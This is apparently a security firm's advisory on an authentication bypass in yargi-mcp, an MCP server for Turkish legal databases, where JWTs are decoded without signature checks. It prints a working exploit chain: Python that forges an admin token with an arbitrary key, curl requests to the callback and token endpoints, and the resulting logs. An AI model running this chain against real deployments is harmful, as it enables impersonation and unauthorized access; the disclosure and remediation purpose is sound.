Araştırmalara Dön
Advisory

Breaking MCP Authentication: How a Single Line of Code Exposes an Entire Legal Database

Eresus Security Research TeamGüvenlik Araştırmacısı
4 Nisan 2026
5 dk okuma

The Model Context Protocol (MCP) is rapidly becoming the standard bridge between AI agents and external tools. As LLM-powered applications integrate deeper into enterprise workflows, the security of MCP servers is no longer a nice-to-have — it's a critical attack surface. At Eresus Security, we've been proactively auditing the MCP ecosystem, and what we found in one of the most popular Turkish legal MCP servers is a textbook lesson in what happens when cryptographic verification is skipped.

The Short Answer: A single line of Python — jwt.decode(clerk_token, options={"verify_signature": False}) — completely bypasses the entire OAuth authentication layer of yargi-mcp, an open-source MCP server that provides AI agents access to Yargıtay, Danıştay, Anayasa Mahkemesi, and other Turkish legal databases. Any attacker with network access can forge a JWT, authenticate as any user (including admins), and access every protected endpoint.


1. What is yargi-mcp?

yargi-mcp is a popular open-source Model Context Protocol server (700+ GitHub stars) that connects LLM applications — like Claude, ChatGPT, or custom AI agents — to Turkey's major legal databases. It provides structured search and retrieval across:

  • Yargıtay (Supreme Court of Appeals)
  • Danıştay (Council of State)
  • Anayasa Mahkemesi (Constitutional Court)
  • KVKK (Personal Data Protection Authority)
  • BDDK (Banking Regulation and Supervision Agency)

When authentication is enabled (ENABLE_AUTH=true), the server implements an OAuth 2.0 flow using Clerk as the identity provider. This is where the fatal flaw lives.

2. The Vulnerability: verify_signature=False

In mcp_auth_http_simple.py at line 164, the OAuth callback endpoint processes incoming JWT tokens with the following code:

decoded_token = jwt.decode(clerk_token, options={"verify_signature": False})

This single parameter — verify_signature: False — tells the PyJWT library to skip all cryptographic signature verification. The JWT is decoded purely to extract its claims, but no check is performed to verify that the token was actually issued by Clerk. The same pattern repeats in mcp_auth_http_adapter.py at line 203.

Why This is Devastating

JWTs are designed to be tamper-proof through digital signatures. When a legitimate identity provider like Clerk issues a token, it signs the payload with a private key. The receiving server is supposed to verify that signature against the provider's public keys (JWKS). By disabling this verification:

  1. Any signing key works — including 'any_random_key'
  2. Any claims are trusteduser_id, email, scopes are accepted at face value
  3. The forged token is returned as-is — line 177 stores real_jwt_token = clerk_token, and the /token endpoint hands the forged token back as a Bearer access token

The server isn't just failing to verify — it's actively laundering forged tokens into legitimate OAuth access tokens.

3. The Full Attack Chain

Here's the exact exploitation path, tested on yargi-mcp v0.2.0:

Step 1 — Forge a JWT

import jwt

fake = jwt.encode({
    'sub': 'admin',
    'user_id': 'admin',
    'email': 'admin@target.com',
    'scopes': ['read', 'search', 'admin']
}, 'any_random_key', algorithm='HS256')

This creates a perfectly valid JWT structure signed with a completely arbitrary key. The claims impersonate an administrator.

Step 2 — Submit to OAuth Callback

curl -v "http://localhost:8000/auth/callback?\
  client_id=test&\
  redirect_uri=http://localhost:8000/health&\
  clerk_token=$FAKE_JWT"

The server decodes the token without verifying the signature, extracts the claims, and generates a legitimate authorization code. Server logs confirm:

INFO - JWT token claims - user_id: admin, email: admin@target.com
INFO - User authenticated via JWT token - user_id: admin
INFO - Using Clerk JWT token directly (already real token)
INFO - Stored authorization code in memory

Step 3 — Exchange for Access Token

curl -s -X POST http://localhost:8000/token \
  -d "grant_type=authorization_code&\
      code=clerk_auth_<hex>&\
      redirect_uri=http://localhost:8000/health&\
      client_id=test"

The server returns the forged JWT as a valid Bearer token:

{
  "access_token": "<forged_jwt>",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "read search"
}

The access_token is the exact same forged JWT from Step 1. Full administrative access achieved.

4. Impact Analysis

This is not a theoretical vulnerability. Here's the concrete business impact:

| Impact Category | Severity | Description | |---|---|---| | Authentication Bypass | Critical | Any user identity can be impersonated with a forged JWT | | Privilege Escalation | High | Admin-level scopes can be self-assigned without validation | | Legal Data Exposure | High | All Turkish legal database endpoints become accessible | | Payment Bypass | Medium | Stripe-gated premium features can be accessed without subscription |

CVSS 3.1: 9.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

5. The Bigger Picture: MCP Server Security

This vulnerability highlights a systemic risk in the rapidly growing MCP ecosystem. As AI agents gain access to more sensitive data sources through MCP servers, the authentication layer becomes the single most critical security control. Key lessons:

Never Trust, Always Verify

JWT signature verification is not optional. The verify_signature=False option in PyJWT exists for debugging — never for production. If you're decoding JWTs from external sources, you must:

  • Verify signatures against the issuer's JWKS endpoint
  • Validate iss (issuer), aud (audience), and exp (expiry) claims
  • Use asymmetric algorithms (RS256) where possible

MCP Servers Are High-Value Targets

MCP servers sit between AI agents and backend data sources. A compromised MCP auth layer doesn't just expose data — it can be leveraged by malicious AI agents to perform unauthorized actions at scale.

OAuth Implementations Require Expert Review

Rolling your own OAuth 2.0 implementation is inherently risky. Using established libraries (like authlib) and following RFC 6749 strictly can prevent entire classes of vulnerabilities.

6. Responsible Disclosure Timeline

| Date | Action | |------|--------| | 2026-04-02 | Vulnerability discovered during proactive MCP ecosystem audit | | 2026-04-02 | Private disclosure request submitted via GitHub Issue #21 | | 2026-04-02 | Vendor requested to enable GitHub Private Vulnerability Reporting | | 2026-04-04 | Full technical advisory published (ERESUS-ADV-2026-003) |

7. Secure Your MCP Infrastructure

AI-powered applications are expanding faster than their security posture. MCP servers, LLM tool integrations, and agentic workflows introduce new attack surfaces that traditional penetration tests don't cover. Eresus Security specializes in MCP and AI security assessments — we audit the authentication, authorization, and data-flow boundaries that protect your AI agents from abuse.

Full advisory: ERESUS-ADV-2026-003 GitHub Issue: saidsurucu/yargi-mcp#21